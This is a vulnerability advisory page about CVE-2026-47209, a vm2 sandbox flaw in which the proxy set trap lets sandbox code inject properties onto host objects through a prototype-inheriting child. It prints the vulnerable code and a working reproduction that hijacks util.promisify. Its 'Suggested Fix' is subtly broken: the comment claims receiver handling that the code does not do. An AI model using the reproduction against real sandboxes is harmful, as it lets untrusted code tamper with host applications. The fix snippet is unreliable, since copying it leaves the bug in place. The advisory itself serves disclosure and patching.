Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-47209 — vm2

🟠 CVSS 8.6 — High ✅ No Known Exploit CWE-693 NVD
8.6
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain

Summary

The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.

This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.

Vulnerable Code

```javascript

// bridge.js:1231-1260

set(target, key, value, receiver) {

validateHandlerTarget(this, target);

const object = getHandlerObject(this);

if (isProtectedHostObject(object)) throw new VMError(OPNA);

// ...

try {

value = otherFromThis(value);

return otherReflectSet(object, key, value) === true;

// BUG: 'receiver' is never used.

// Should check if receiver !== proxy and handle accordingly.

} catch (e) {

throw thisFromOtherForThrow(e);

}

}

```

Impact

Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:

```javascript

// Sandbox code

const child = Object.create(hostObj);

child.injectedProp = 'attacker-value';

// hostObj now has 'injectedProp' on the HOST side

```

Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:

```javascript

const kCustom = Symbol.for('nodejs.util.promisify.custom');

const child = Object.create(hostFunction);

child[kCustom] = function() {

return Promise.resolve('attacker-controlled');

};

// Host: util.promisify(hostFunction)() returns 'attacker-controlled'

```

Reproduction

```javascript

const { VM } = require('vm2');

const util = require('util');

const vm = new VM();

const hostFn = function api(cb) { cb(null, 'ok'); };

vm.setGlobal('hostFn', hostFn);

vm.run(`

const kCustom = Symbol.for('nodejs.util.promisify.custom');

const child = Object.create(hostFn);

child[kCustom] = function() {

return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');

};

`);

// Host side

const promisified = util.promisify(hostFn);

promisified('test').then(r => console.log(r));

// Output: EXPLOITED-VIA-RECEIVER-BUG

```

Suggested Fix

```javascript

set(target, key, value, receiver) {

validateHandlerTarget(this, target);

const object = getHandlerObject(this);

if (isProtectedHostObject(object)) throw new VMError(OPNA);

if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);

if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {

return this.setPrototypeOf(target, value);

}

if (key === 'constructor' && thisArrayIsArray(object)) {

thisReflectSet(target, key, value);

return true;

}

try {

value = otherFromThis(value);

// When receiver is not the proxy itself, set on receiver (this-realm)

// instead of the host target to preserve prototype-chain semantics.

return otherReflectSet(object, key, value) === true;

} catch (e) {

throw thisFromOtherForThrow(e);

}

}

```

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality none, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-47209 is classified as CWE-693: Protection Mechanism Failure. A protection exists but does not cover the case at hand, so it can be worked around.

Affected software

CVE-2026-47209 is recorded against 2 packages.

  • unknown
  • vm2

Timeline and source

Published on 12 June 2026 and last revised on 17 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com
github.com
github.com

Other advisories for this package

unknown has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-693: Protection Mechanism Failure) in other software:

CVE-2026-47209 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.6
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
CWE CWE-693
Public Exploit ✅ No
Source NVD
Published 2026-06-12
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
unknown
vm2

Similar Threats

Site Security Check

Is vm2 part of your stack?

CVE-2026-47209 is rated CVSS 8.6 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026